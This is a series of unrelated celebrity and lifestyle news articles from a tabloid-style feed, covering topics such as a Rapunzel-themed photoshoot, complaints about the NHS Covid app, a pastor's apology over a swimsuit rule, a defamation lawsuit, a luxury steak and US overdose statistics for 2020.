In one of her most recent Instagram posts, Alena decided to dress up as her favourite fictional character, Rapunzel

Alena said that from a young age, she has dreamed abotu starring in a film as Rapunzel after years of dedication to growing her hair, which she combs twice daily

After a change in outfit, the 35-year-old also posed in front of a castle, with her hair styled in a braid with flowers.

She also sat on the grass, holding up a photo of 'Flynn Rider', a starring character in Tangled, the computer-animated film based on the fairytale.

Alena even carried a frying pan - a funny nod to one of the scenes, where Rapunzel uses the kitchen item as a 'weapon' as she explores the world.

'I love Rapunzel,' Alena said. 'Every young girl has a dream and I am no exception.

'I dream to star in the film Rapunzel because the length and colour of my hair is very close to the image of a fictional character.

After a change in outfit, Alena also posed in front of a castle, with her hair styled in a braid with flowers

Crowning glory: Alena, pictured during a Rapunzel-themed photoshoot, trims the ends of her long hair every six months to make sure it stays healthy

'And while this is just a dream, one of the photographers from Ukraine suggested that the plot of the cartoon be conveyed as much as possible in beautiful and colourful photographs.'

The photoshoot took several months to prepare and Alena wanted to make sure the looks were perfect, down to the finest details.

She said: 'The preparations for the photoshoot went on for several months to choose the right and suitable locations, sewing the outfits and purchasing the necessary requisites, including the unusual hairstyle-braid with flowers.

Alena washes her hair once a week, which takes an hour each time and she uses natural and professional hair products to control frizz

Alena flaunts her 2 metre-long hair in Disney-inspired photoshoot at a castle after spending months planning the magical moment

Strike a pose: Alena has amassed more than 70,000 followers on Instagram. Her long locks take time to maintain, so Alena only washes her hair once a week

'To make the image look as similar as possible to Rapunzel, I wanted to think over everything to the smallest detail.

'The shoot took place in my hometown and all the locations were selected very perfectly.

'I hired a photographer from another city to take the fabulous photos that I am now ready to show the world how the well-known cartoon Rapunzel looks like.'

However, long locks are not easy to maintain.

Alena washes her hair once a week, which takes an hour each time and she uses natural and professional hair products to control frizz.

She also combs her hair twice a day and trims her ends every six months to keep her mane healthy and strong.
A GP has revealed she plans to delete the NHS Track and Trace app because she is continually pinged and told to go into self-isolation.

Dr Nighat Arif, from Buckinghamshire, says it 'doesn't surprise her' that people want to get rid of the app, which has been heavily criticised for forcing large numbers of double-jabbed workers to stay at home .

Appearing on The Morning today, the doctor said the nature of her job means she will come into contact with patients who may test positive for Covid, but that self-isolating if she is negative for the virus puts unwarranted 'pressure' on her colleagues.

Host Ruth Langsford cited a survey which revealed that one in five Britons are planning on delete the app when nearly all legal restrictions on social contact are removed on July 19th.

It comes after Sage expert Dr Adam Kucharski, a member of the Scientific Pandemic Influenza Modelling group, warned that 30,000 to 40,000 cases a day in the summer could mean more than a million contacts per day who may be eligible for quarantine.

Dr Nighat Arif, from Buckinghamshire, has revealed she plans to delete the NHS Track and Trace app because she is continually pinged and told to go into self-isolation

The This Morning doctor, pictured on the show last month, says it 'doesn't surprise her' that people want to get rid of the app, which has been heavily criticised

As well as hospitality business being forced to close due to steaff being pinged, the NHS is facing similar issues with up to a fifth of staff in parts of the UK off on sick leave and self-isolation notifications increasing the burden on already threadbare rotas.

NHS statistics shows the app issued more than 350,000 alerts during the last week of June, 60 per cent up on the previous week. People are told to self-isolate even if they test negative for Covid-19 and have already had both vaccines.



Polling suggests more than a third of 18 to 24-year-olds in the UK have already deleted the app, with another third saying they were considering wiping it from their phones within the next week.

Among adults of all ages, the proportion debating deleting the app in the next six days was 20 per cent, according to a survey by Savanta ComRes.

'I'd be one of those people,' said Dr Arif of her plans to delete the app. 'Because I had it, I kept on being pinged which meant I was being told to go into self-isolation, which puts pressure on my colleagues who have to see my patients.

'If you're going to turn off an app which allows you to have notifications on what Covid cases are around you, then it really isn't working.

Nearly two million people a week could be forced to self- isolate by the end of the month unless ministers reform the rules. Analysis of official figures predicts that this figure will soar to 1,734,000 by July 28 if current trends continue, given the steep week-on-week rise in case and high levels of testing

'I think there has been miscommunication and it may be over sensitive as well.

'It would have been useful at the start of the pandemic, now we have the vaccination programme as well.'

She advised viewers to follow government guidance and undergo a PCR test if you have symptoms of Covid and to have a lateral flow test twice weekly if you are seeing no symptoms of the virus.

The GP appeared with Lori, a cafe owner from east London, who was forced to shut after receiving conflicting advice from Test and Trace when her staff continually got pinged.

Dr Arif said of the cafe owner: 'She's highlighted all of the problems we were seeing as GPs in general practice.

The GP appeared with Lori, a cafe owner from east London, who was forced to shut after receiving conflicting advice from Test and Trace when her staff continually got pinged

'I had the NHS Test and Trace app because that is what everyone was told to download and I kept on being pinged.

'The nature of my work is I'm going to have a lot of people I will come into contact with who might have tested positive for Covid.

'The annoying thing also was there is a delay in the system as well. So our receptionist, actually, she got a ping five days later saying you should be in isolation.

'But for five days she hadn't been, she had been in my surgery working and seeing patients.

Dr Arif advised viewers to follow government guidance and undergo a PCR test if you have symptoms of Covid and to have a lateral flow test twice weekly if you are seeing no symptoms of the virus

Lori, who owns the Towpath cafe in Hackney, who says that being forced to close because of the Track and Trace app is 'devastating' for her business

Also appearing on the show was Lori, owner of the Towpath cafe in Hackney, who said that being forced to shut the doors because of the Track and Trace app is 'devastating' for her business, which has been forced to open and close for the last 18-months.

'I think one of the things that is especially devastating is we were required to be closed until April and we had to hire more staff, because we used to be counter service and now we're table service,' said Lori.

'We hired staff in April and they are not eligible for furlough, which seems particularly unfair, so we have the double whammy of paying for full time staff who have to isolate.

'This is not an industry where people earn a lot of money as it is. A week off work is devastating, when you think of, were we going to send everyone to work knowing they had been pinged by the app?'

She added: 'I think one of the problems is the advice is not clear. You call the helpline and cannot get clear advice what do you do as an employer.'
A young actor who was forced to move schools because of bullies said that the nasty students never deterred from following his dreams.

Budding actor Ty Mcphee, 13, from Glasgow, currently plays Callum Adams in BBC Scotland's drama River City, and starred in the music video for Harry Styles song Adore You.

His mother decided to pull him out of his school because of bullies who would send him threatening messages, throw things at him, and set up fake social media accounts to make fun of him.

But despite being picked on 'every single day', Ty said he 'never considered giving up' - appearing on This Morning today to urge anyone being bullied to speak out.

Ty Mcphee currently plays Callum Adams in BBC Scotland's drama River City and starred in the music video for Harry Styles song Adore You. He is pictured on set with the pop star

Budding actor Ty Mcphee, 13, from Glasgow, appeared on This Morning today to speak out about the horrendous bullying he faced at school

Describing the bullying he endured, Ty said: 'Sometimes people made fake social media accounts of me, fake fan pages pretending they were someone from another country who wanted to meet me.

'They were sending threatening messages and all that. I've had things thrown at me, I've had people talking behind my back.

When asked whether he considered giving up, he said: 'I always wanted to keep climbing that ladder and keep pushing that goal.'

After leaving the school Ty spoke out in an Instagram, where he told his followers it felt like the 'whole school was against him' while he was being picked on.

His mother (right) decided to pull him out of his school because of cowardly bullies who would send him threatening messages, throw things at him, and set up fake social media accounts to make fun of him

In the video posted last week, Ty said that now he's spoken out he felt a 'weight off his shoulders' and felt he could start to be him again, encouraging others that it 'will get better'.

'I did get a lot of messages off of some people who are going through the same thing,' said Ty this morning.

'I did realise that some people are going through it it worse than me and speaking out does make it better, sometimes it doesn't. But you always have to speak to anybody, whether its a parent or a friend.'

It was Ty's dad Stuart who encouraged the young actor to speak out against his bullies on social media.

His mother said: 'He made the video without any of us knowing about it and he sent it to us on WhatsApp and said "Mum, I've posed this video".

But Ty says that despite being picked on 'every single day', he 'never considered giving up' on his dream of being an actor

When asked what Ty's school had done to stop the bullying, the actor's mother said that they 'didn't help'

'I was so proud of him doing it and hes been fighting these demons for a few years now. He's been going into his shell and it's so frustrating as a parent to see that when your son has a dream.'

She added: 'Its been going on quite a while and his sister brought it to light to me his twin sister, she made us aware of it and Ty opened up, but it was everyday, every single day.'

When asked what Ty's school had done to stop the bullying, the actor's mother said that they 'didn't help', admitting that she never expected the negative backlash her son had because of his career.

She said: 'The school didnt help, I made the school aware of his career when he started high school, I never thought it would be an issue with other kids, I never expected the backlash. I thought as they got older kids would be positive about it.

'I contacted the school on many occasions and when I did remove him from the school that did break my heart, he has never been separated from his his sister but I had to.'
Queen Maxima of the Netherlands cut a casual figure today as she visited the Transport and Logistics sector at E & R Training in Nieuwegein.

The royal, 50, made the most of the Dutch summer is a linen outfit and towering wedges as she got behind the wheel of a lorry.

Keeping it casual, Maxima paired wide leg blue linen trousers with a white T-shirt, and sticking to her signature bold style, added an oversized bow to the asymmetric look.

Queen Maxima of the Netherlands cut a casual figure today as she visited the Transport and Logistics sector at E & R Training in Nieuwegein

Known for big accessories and statement pieces, Maxima completed the look with deep blue dangling earrings and three chunky gold bracelets.

Proving she still reigns high in the style stakes, the mother-of-three carried her belongings in a small blue clutch which matched her trousers perfectly.

Maxima keeps very busy as a working royal, and is often pictured getting very hands on at events.

Today, she looked delighted to be behind the wheel and kicked off her heels as she posed in the lorry.

Keeping it casual, Maxima paired wide leg blue linen trousers with a white T-shirt, and sticking to her signature bold style, added an oversized bow to the asymmetric look.

The royal, 50, made the most of the Dutch summer is a linen outfit and towering wedges as she got behind the wheel of a lorry

Once in the driving seat, the royal looked nervous to reverse the vehicle, pulling a decidedly worried face.

The mother-of-three was without her husband King Willem-Alexander, who she recently joined on a trip to Germany.

Last week, the royal couple underwent a three-day visit in Germany that was delayed from last year because of the coronavirus pandemic.

They were greeted with a 21-gun salute after landing in wet weather at Berlin's airport at the beginning of Willem-Alexander's first state visit to Germany since he became king in 2013.

Proving she still reigns high in the style stakes, the mother-of-three carried her belongings in a small blue clutch which matched her trousers perfectly

During the three days, they met with President of the Bundestag Wolfgang Schauble in Berlin.

A meeting with Chancellor Angela Merkel, who is is preparing to hand over power after almost 16 years in the autumn, is also on the agenda during this week's visit.

Willem-Alexander and Maxima were last in Germany in 2019, when they visited the state of Brandenburg, which surrounds Berlin.

The mother-of-three was without her husband King Willem-Alexander, who she recently joined on a trip to Germany

The king has some German roots - his father, Prince Claus, who was the consort of Queen Beatrix of the Netherlands, was German-born.

The mother-of-three daughters, Catharina-Amalia, 17, Alexia, 15, and Ariane, 13, married into the Dutch royal family in 2002.

Willem-Alexander became king after his mother, Beatrix, abdicated in April 2013 after 33 years as reigning monarch.

Queen Maxima has reportedly said that she had no inkling that Willem-Alexander was heir to the throne when they first met.
The size 6 girlfriend of George Keywood, the plus-size star of BBC Three comedy People Just Do Nothing, says the couple are constantly fat-shamed when out in public - and even her own family have raised doubts about the couple's relationship.

Australian Sienna Keera, 26, who moved to London from Australia to be with the actor after falling in love while chatting on Instagram, says they enjoy a very 'passionate' time between the sheets - and she tries to ignore accusations from 'haters' that she's simply a 'gold-digger'.

Influencer Keera, who has a son, Oliver, one, with Keywood, 27, told The Sun that 6ft-tall George's weight 'doesn't hold him back' when the pair are feeling amorous.

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'Best I've ever had': Influencer Sienna Keera, from Australia, moved halfway across the world to be with her now fiance George Keywood in the UK - She told The Sun this week that their sex life is 'very passionate' (Pictured, the couple together with their son, Oliver, one)

The Australian mother says that people judge her for being with the plus-sized star of 'People just do Nothing' but that George's size - classed as morbidly obese - doesn't hold them back in the bedroom

The London-based couple (pictured), who are now parents to their baby boy, Oliver, one, flaunt their relationship on TikTok - despite Sienna being regularly called a golddigger and George constantly told he's 'punching'. Even family have had their doubts in the past, says the influencer

She said: 'Our sex life is very passionate, its the best Ive ever had. George is very flexible and his size doesnt hold him back.'

Negative comments made about George's size are in fact the things that she likes about him, Sienna adds, saying that his 'big belly' is a turn on.

The couple, who regularly show off the highs and lows of their relationship on TikTok, say they've had to convince even friends and family that their two-year romance is the real deal.

The social media-loving couple also reveal they face whispering when they're out because Sienna is a slim size six while Keywood is heavily overweight.

Seera said: 'When I first moved, my family and friends reaction wasnt good.

'They didnt want me to move so far away for someone I hadnt known for very long, especially as they hadnt met George, so they advised me against it.'

'But I said, "I love him and Im really sure about this, so Im going to go with my heart"'.

The star wooed his fiancee after chatting to her for six months on Instagram - and the couple quickly fell pregnant with their son Oliver. She says TikTok haters have branded her fiance 'lazy and unhealthy'

A woman has hit back at haters who suggested her relationship with a plus-size man is 'disgusting and fake' (pictured together)

On social media, Sienna showcases her slender physique in figure-hugging ensembles - while George is equally unashamed to show off his body, often appearing in the clips topless.

The Australian mother insists George is her 'dream man' to her 55,900 followers, with her fiance telling the 'skinny boys' that Sienna has 'always liked fat boys'.

However, their loved-up videos, which often get millions of views each time, have been branded 'uncomfortable', 'weird' and 'not genuine' by some TikTok users.

She says the comments about being a gold-digger make no sense because her fiance isn't rich just 'comfortable'.

Sienna explains: 'If I was a gold digger, Id go after someone rich! George is just comfortable, we dont have a high-rolling lifestyle, so those comments are just dumb.'

Sienna also showcases her slender physique in figure-hugging ensembles - while George (pictured together) is equally unashamed to show off his body, often appearing in the clips topless

Recalling how they met, Sienna said: 'We talked on Instagram for like six months and then we basically got together. I moved to the UK from Australia that's the short version anyway.'

The duo receive plenty of messages full of support for their relationship, but also many negative comments about their weight difference.

But when asked if George was plus-size when first meeting, the father replied: 'She's always liked the fatties way long before I came into her sights.

'Just to clear things up, she's always liked fat boys. Unlucky for all you skinny boys you've got no chance.'

Actor George Keywood has previously appeared on BBC Three's People Just Do Nothing comedy (pictured)

In response to those who criticise her relationship, Sienna told FEMAIL: 'The hate doesnt get to us. We love each other and nothing anyone says will change that.

'Our aim is to encourage people to accept themselves for who they are. Thank you to everyone who supports us and sends positive messages our way.'

Fans have been quick to support the pair, with one person writing: 'Better cuddles!! You go guys,' while another said: 'Absolutely beautiful couple.'

A third added: 'I don't see what the obsession is over the fact that he's a big man and you're gorgeous. Who cares what y'all look like. You love each other and seem to have a happy healthy family.'
McDonald's is giving NHS employees 20 per cent off the entire menu as a gesture of thanks for everything they've done throughout the pandemic.

The fast food chain is giving staff money off their meals for the rest of the year as a 'small token of thanks' for their services during the last 15 months.

Available exclusively on the My McDonalds App, which can be downloaded on iTunes and Android, it's only available to walk-in customers and not via delivery services such as Deliveroo and Uber Eats.

The discount can be used once per week by an eligible customer, and starts on Freedom Day, Monday 19th July, to honour the contribution of frontline workers during the pandemic.

McDonald's is giving NHS employees 20% off the entire menu as a gesture of thanks for everything they've done throughout the pandemic

Anyone that had signed up for the app with an NHS email address will be able to access the offer.

People who sign up in the future with an NHS email address will also be able to access the discount.

Restaurants are open for walk-in, takeaway, and customers can order via the Drive-thru, McDelivery and Click & Serve using the My McDonalds App.

McDonalds breakfast is available from 6am-11am, and McDonalds lunchtime menu is available from 11am daily.

This comes after the restaurant chain announced it is officially bringing the McSpicy to the UK to heat up your summer.

McDonalds is set to release its hottest burger ever - and it even comes with a free bottle of milk to help cool down those burning tongues.

The fast food chain is giving staff money off their meals for the rest of the year as a 'small token of thanks' for their services during the last 15 months

For just 5.49, treat yourself to a thick, succulent chicken fillet with a spicy coating, on a bed of crunchy, cool lettuce and mayo, between toasted sesame seed buns.

But be warned, it definitely has a certain zing to it. So, can you handle the heat?

The food chain is giving away free Happy Meal Milk with all McSpicy purchases via the My McDonald's App.

To officially celebrate its arrival, McDonalds lit up restaurants in the two locations of the UK with the highest and lowest tolerance to spice after polling over 5,000 UK adults on their attitudes to all things heat.
Sarah Ferguson has admitted she battled an 'extraordinary fear of getting it wrong' before accepting that trying to be perfect is 'no longer necessary'.

The Duchess of York, 61, who is mother to Princess Beatrice, 32, and Princess Eugenie, 31, also said that despite being taken for a 'big hurricane' she doesn't 'always want to be the storm'.

Sarah, most commonly known as Fergie, made the comments when featuring as People's cover star this week - in which she posed on the front of the magazine in a statement black blazer and white shirt combo.

Another snap, thought to be taken at her Royal Lodge home in Windsor, showed the duchess leaning against a tree, dressed in a striking brown ensemble, featuring a plunging V-neckline and see-through sleeves.

Sarah, most commonly known as Fergie, made the comments when featuring as People's cover star this week (pictured) - in which she posed on the front of the magazine in a statement black blazer and white shirt combo

The new grandmother to Eugenie's 5-month-old son, August, said that since turning 61 last October, she has 'gotten out of her own way' and really become Sarah.

'I've really become Sarah. The Duchess is there. Good old Fergie's there too. But Sarah is authentically present,' she explained.

The duchess confessed that her Fergie persona - the lively redhead who stole the spotlight in 1985 at age 26 when she started dating the Queen's second son, Prince Andrew - is now a stark contrast to the calm she tries to achieve.

'When you have a sense of humour and you're a redhead, everyone takes you for a big hurricane,' she said. 'But sometimes, you don't always want to be the storm.'

The new grandmother to Eugenie's 5-month-old son, August, said that since turning 61 last October, she has 'gotten out of her own way' and really become Sarah (pictured in 2018)

During her time in the limelight, the mother-of-two admitted she often had an 'extraordinary fear of getting it wrong', but now realises 'being Sarah is just enough'.

Finding herself came as she wrote her novel, Her Heart for a Compass, a coming-of-age story set to be released on August 3 about one of Sarahs ancestors, Lady Margaret Montagu Douglas Scott.

Whilst the duchess has written many bestselling children's books and several works of non-fiction, her latest piece is her first historical fiction novel aimed at adults.

The Duchess of York pictured with her daughters Princess Beatrice, 32, and Princess Eugenie, 31, and her ex-husband Prince Andrew

It is described as an 'immersive historical saga' that 'sweeps the reader from the drawing rooms of Victoria's court and the grand country houses of Scotland and Ireland, to the slums of London and the mercantile bustle of 1870s New York'.

The duchess also spoke about her former husband, who she still lives with, explaining she stands firm to the co-parents they are together and labelling him a fabulous father.

It comes following the fallout from ex-husband Andrew's friendship with American financier and convicted sex offender Jeffrey Epstein.

The prince, who stepped back from royal duties in 2019, has denied any wrongdoing as well as any knowledge of the late Epstein's crimes.
A Christian pastor has apologized for banning girls at his youth summer camps from wearing bikinis, admitting that it was wrong to lay 'the weight of purity' on the girls but not hold boys responsibly for being 'gross.'

Bryce Brewer, 42, from Spokane Valley, Washington issued an apology on Facebook on July 11, explaining how he came to realize how unfair it was to teach girls that their bodies are things that 'need to be covered' while boys' bodies are OK to be seen.

Father-of-two Bryce's post  and his plea for other youth pastors to 'stop being chauvinist'  has gone viral, earning over 40,000 shares and thousands of comments.

Sorry! Bryce Brewer from Spokane Valley, Washington has been a leader at Christian youth camps for 20 years and promoted a 'one-piece swimsuit only' rule for girls (stock image)

New outlook: He recently realized the rule was unfair. He said girls should not be responsible for 'men's actual sin of lust,' and boys should be responsible 'to not be gross'

'So I need to issue an apology,' Bryce, who has a 20-year-old son, 13-year-old daughter, and two stepchildren, began his post. 'I have been a youth pastor on and off for over 20 years, and I have issued the ridiculous ultimatum to my female students at summer camp ONE-PIECE SWIMSUITS ONLY. First of all I am sorry.'

He went on to list specifics, explaining just why he now realizes this wasn't right.

First, he wrote, he is 'sorry that I didnt teach boys to control themselves.'

'I am sorry I laid the weight of purity on a girl's swimsuit while she was swimming, and not on the boys' responsibility to not be gross,' he continued.

'I am sorry to all the girls that frantically searched for an appropriate one-piece so that some male youth pastor could deem them appropriate,' he went on.

This particular note is something he came to understand recently while accompanying his fiancee and her 10-year-old daughter on a shopping trip, where they 'desperately looked for a cute one-piece that would be appropriate for camp.'

'It was hard and it sucked,' he admitted.

'I am sorry that we have deemed a young woman's body as something that "needs to be covered" and let young mens bodies be OK to be seen,' he said.

Finally, he wrote: 'I am sorry I ever let this be an item of discussion, usually lead by men, at any youth leader meeting... this must have been awful for my female leaders and students to be part of.'

Bryce said he still likes what he calls the 'No Produce Rule'  that 'buns, bananas, and breasts' should be covered up.

Growth: In a viral Facebook post, he apologized for deeming 'a young woman's body as something that "needs to be covered" and let young mens bodies be OK to be seen'

'But why are stomachs overtly sexual? Why is a little cleavage sinful? Why are women meant to feel they are responsible for mens actual sin of lust?' he asked.

'So I am sorry to all the students, especially female, that we subjugated to our rules. I am sorry to my female students as they desperately tried to search for a swimsuit in the days leading up to camp.

'I am sorry if you felt sexualized by us telling you to cover up. I am sorry I didnt teach boys to be men, and laid that responsibility on young women.'

He concluded with encouragements for readers.

'Female students  Wear a swimsuit that lets you have fun,' he wrote. Male students  stop being disgusting and control yourself.

'Youth pastors (male especially)  stop being chauvinist and making female students feel bad for having breasts.

And finally: 'Christians  live like Jesus.'

Speaking to Today, Bryce explained how his epiphany came about during his swimsuit shopping trip with his fiancee and her 10-year-old daughter.

Bryce has a 20-year-old son and a 13-year-old daughter of his own, but this particularly frustrating shopping trip for a cute one-piece suit produced an aha moment.

'I wondered, how many young ladies did I subject to this event over 20 years of ministry? Times when, because of me, they were desperately searching for a one-piece bathing suit and couldnt find one?' he said

Message: He told other youth pastors, especially males, to 'stop being chauvinist and making female students feel bad for having breasts'

'Women are all shaped differently and for a male to come in and say what a female should wear? That's the most ridiculous thing in my head now,' he continued.

'Those conversations and meetings? It breaks my heart that I said some of the things I did. I was totally missing the point.'

Bryce went on to say that he hopes that other church leaders can also embrace this mindset  and be willing to learn and change their opinions.

'The number one thing I hope comes from this is that we as leaders, especially in the church, would walk in humility and stop pretending we are the ones that have the answers,' he said.

'While my heart may have been in the right place, I missed the boat in this area.'
A TikToker who runs a 'body positive' community for plus-size women is suing five members for defamation after they spoke out against him on social media  with one claiming she was sexually assaulted in his home.

Stefan Wilhelmy, 48, from Las Vegas, Nevada, has over 178,000 followers on his @pearadise1 account  formerly known as @bbwpearadise  where he posts videos celebrating 'big beautiful women' and his love for them.

As part of the community, he runs a Discord chat server with hundreds of members that he uses to invite women to come to his home and make social media content, Insider reported.

However, a number of women are insisting there is a darker side to Wilhelmy and his group. They have taken to TikTok in recent weeks to warn others to steer clear of him while sharing the negative experiences they had as members.

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Popular: Stefan Wilhelmy, 48, from Las Vegas, Nevada, has over 178,000 followers on his @pearadise1 account, which is formerly known as @bbwpearadise

Safe space? As part of the community, he runs a Discord chat server that he uses to invite women to come to his home and make social media content

Claims: He posts videos celebrating 'big beautiful women' and his love for them. However, a number of women have taken to TikTok in recent weeks to warn others to steer clear of him

Wilhelmy filed a lawsuit against five of the women in the District Court of Clark County, Nevada, on June 30.

He alleged 'defamation, false light invasion of privacy, intentional interference with contractual relations, aiding and abetting, conspiracy, and intentional interference with prospective economic advantage,' according to Insider.

The TikToker claimed in the lawsuit that he suffered significant reputational harm and harassment.' He is seeking $1 million in damages and is also asking for an injunction that would prohibit the women from publicly speaking out against him.

Insider spoke with Wilhelmy, who said he has been inviting 'mostly overweight friends' to his home since 2006  14 years before he started his controversial community.

Wilhelmy launched Discord in July 2020 during the COVID-19 pandemic.

'We are a body positive, all inclusive and supportive group located in Las Vegas,' he wrote on his website. 'We run a Discord server called "Pearadise" and we host body positive events in a safe, welcoming and non-judgmental environment where everyone is accepted just as they are.

@piggy_stardust send love and support to both @spoiledmiwk @bigporkychop , merch for legal fees coming monday  original sound - Piggy Stardust

Accusations: Kimberly Ann Haueter, who is known as @piggy_stardust, alleged on TikTok that Wilhelmy 'fetishize bigger women' and has made a 'personal harem'

Taking it to court: Wilhelmy filed a defamation lawsuit against five women, including Haueter, in the District Court of Clark County, Nevada, on June 30

'The Discord is open to all nice people, no matter what race, size, age or gender!'

Potential members have to apply and provide a copy of their IDs to join Discord, which has 'NSFW sections.'

'It has always been my personal ideal to be and provide a real safe space where everyone can feel absolutely calm and safe and accepted and never in need to worry about nasty comments, shaming, flimsy and uncomfortable furniture. or possibly embarrassing situations due to their size,' he told Insider.

The publication also spoke with some of the women Wilhelmy filed a lawsuit against, including Kimberly Ann Haueter, who is known as @piggy_stardust on TikTok.

Haueter started posting videos about the community in late May, insisting 'BBW Pearadise is not a safe and positive place.'

She claimed that Wilhelmy 'uses the body positivity movement for his personal harem,' and his TikTok videos 'fetishize bigger women rather than making them feel accepted and normalized.'

In a clip posted on Sunday, Haueter explained that she had been a member of Wilhelmy's community 'since about February' and felt compelled to speak out after seeing 'some red flags over the months that made [her] very nervous.'

Warnings: Another TikToker known as Savy posted 10 videos about the alleged sexual assault within the Pearadise community. Her account was also name in the lawsuit

Claims: She never explicitly named Wilhelmy, but she claimed 'a person' she met on Discord continuously touching her without consent, calling it 'sexual assault'

The TikToker said a number of women's alleged experiences with Wilhelmy 'paint an image of a very toxic man who uses and abuses bigger women for his clout and fetishes.'

Haueter believes the group's founder has been 'misusing the body-positive movement to lure women into a very highly sexualized environment.'

She claimed some women were made to feel they were 'too small' to be welcomed into the community, while others left Discord after only a few days 'because of unsolicited pictures and unsolicited messages.'

Haueter noted that two women in Wilhelmy's inner circle 'came forward regarding allegations of him non-consensually touching them.'

'When that happened, he got scared and instantly lawyered up and started the attack,' she alleged. 'He did everything in his power to discredit them, to victim blame, to victim shame.'

Another TikToker known as Savy posted 10 videos about the alleged sexual assault within the Pearadise community onto her @sleepthroat account, which was named in the lawsuit, Insider reported.

The account was briefly deleted and then renamed @spoiledmiwk.

Speaking out: Alejandra, whose @allyjayylovee account is mentioned in the lawsuit, claimed in one video she went to 'his house' and was 'afraid to speak out.

Hitting back: Wilhelmy is seeking $1 million in damages and is also asking for an injunction that would prohibit the women from publicly speaking out against him

Defense: Wilhelmy told Insider that the statements made against him were 'false, egregious, and intentionally using triggering language'

Savy never explicitly named Wilhelmy in the clips she shared in late May, but she claimed 'a person' she met on Discord 'made [her] uncomfortable' by continuously touching her without consent.

She said the person grabbed her by the waist to tickle her, massaged her shoulders, and would try 'smacking [her] butt without permission.' She referred to the alleged interactions as sexual assault.

Alejandra, whose @allyjayylovee account is mentioned in the lawsuit, claimed in one video she went to 'his house' and was 'afraid to speak out.' Like Savy, she never mentioned Wilhelmy by name.

Nevada state law defines sexual assault as sexual penetration without consent, and Wilhelmy's lawsuit states that 'no such penetration ever occurred.'

Wilhelmy told Insider that 'there was never any sexual touch or skin contact' when the women were over his house  'just friendly group fun banter' that included 'hugs, high fives, and mutual shoulder massages.'

Savy has started a GoFundMe to pay for her lawyer, while Haueter plans on launching an online store, where she will sell T-shirts, key chains, and other items to raise money for their legal fees.

'I am in litigation because Savy and Ally made statements that are false, egregious, and intentionally using triggering language,' Wilhelmy told Insider. 'The allegations made are so serious, they perceived and reputation damaging right next to murder.'
A Las Vegas restaurant is boasting that they've served the 'most expensive steak ever sold'  to the tune of $20,000.

Last weekend, Wally's at Resorts World Las Vegas served up the pricey meal, a 195-day dry aged bone-in porterhouse ribeye from the Brooklyn butcher Fleishers Craft Butchery.

Weighing 60 oz., the massive meat dish was big enough to serve several 'A-list VIP guests'  but individuals can order their own version for $1,000 a pop.

Wowza! A Las Vegas restaurant is boasting that they've served the 'most expensive steak ever sold'  to the tune of $20,000

Splurge alert! Wally's at Resorts World Las Vegas served up the pricey meal, a 195-day dry aged bone-in porterhouse ribeye from the Brooklyn butcher Fleishers Craft Butchery

The $20,000 steak was prepared by Executive Chef Ryan Kluver, who cooked it over almond wood and Bichotan Japanese charcoal and seasoned it with truffle salt and black pepper.

It was served with a black truffle bordelaise sauce.

With enough meat to feed a very wealthy army, the steak was also accompanied by potato pomme anne, grilled broccolini, and fresh shaved black truffles.

A single serving of steak is 3 oz., meaning this cut contained 20 individual servings  though a typical ribeye cut at a restaurant usually weighs between 16 and 20 oz.

This particular pricey steak was shared by guests of Wally's President & Principal Christian Navarro, who dined with close friends including Shark Tank's Daymond John, real-estate investor Rob Rosania, real estate agents Tal and Oren Alexander, and real estate developer Michael Stern.

Weighing 60 oz., the massive meat dish was big enough to serve several 'A-list VIP guests' s including Shark Tank's Daymond John

Want some? The restaurant is offering a 'very limited supply' of similar 'super-exclusive cuts.' The 200-day dry-aged Fleishers ribeye, weighing 50 to 60 oz., costs $1,000 each

While the debut of the high-priced steak was reserved for VIPs, the restaurant is offering a 'very limited supply' of similar 'super-exclusive cuts.'

The 200-day dry-aged Fleishers ribeye, weighing 50 to 60 oz., costs $1,000 each.

The dinner menu also includes a $100 chicken dish, $95 wagyu NY steak frites, a $35 truffle bolognese, and a $30 burger.

Wally's just opened its Las Vegas location earlier this year, with other locations in Santa Monica and Beverly Hills.

Meat gets glam! 212 Steakhouse in New York City is selling a steak covered in edible 14K gold

Luxe meal: Called The Gold Experience, it uses 6oz. of Kobe beef, which is already pretty pricey  but with the gold, is costs $400

The restaurant is actually the only one in New York City that's certified to sell authentic Kobe beef from Japan

While it might be the most expensive steak ever sold, it's certainly not the only over-the-top version of the dish.

In New York City, 212 Steakhouse went viral in 2018 for a 6oz. Kobe beef steak called 'The Gold Experience'  because it's covered in edible 24k gold flakes.

The restaurant is actually the only one in New York City that's certified to sell authentic Kobe beef from Japan, and for that honor it charges $25 an ounce, with a 3 oz. minimum.

At 6 oz., the Gold Experience would cost $150 even without the edible flakes of the precious metal on the outside, but the special menu item, which is still available to order, clocks in at a whopping $400 per serving.
A record number of Americans died from drug overdoses in 2020 amid the COVID-19 pandemic, provisional data show.

Last year, more than 93,300 fatalities occurred, the Centers for Disease Control and Prevention's (CDC) National Center for Health Statistics (NCHS) revealed on Wednesday.

This represents a nearly 30 percent rise from the roughly 72,100 drug overdose deaths that were recorded in 2019.

The spike was mainly driven by increased use of opioids and specifically fentanyl, the synthetic opioid 100 times stronger than morphine.

The pandemic has created the perfect breeding ground for addiction with many turning to opioids to cope with job losses and the deaths of loved ones to the programs being canceled or replaced with telemedicine for those trying to maintain sobriety

Provisional CDC data show there were 93,331 drug overdose deaths recorded in the U.S. in 2020, a 29.4% jump from 72,151 deaths reported in 2019

For the advisory, the CDC looked at death records received and processed by the NCHS this year.

They looked at deaths from the 12-months ending in December 2019 to the 12-months ending in December 2020.

Results showed that 93,331 drug overdose deaths were recorded in 2020, which is a 29.4 percent jump from the 72,151 deaths reported in 2019.

The team found that the overdose deaths were mainly driven by opioids, which were responsible for 74 percent, or 69,710 fatalities.

The figure is a massive jump of 36 percent from the 50,963 overdose deaths recorded in 2019.

Counties in states such as California and Nevada say much of it is driven by fentanyl, the synthetic opioid 100 times stronger than morphine. Pictured: A woman tends to a luminary during a vigil in remembrance of victims of overdose deaths in Gloucester, Massachusetts, August 31

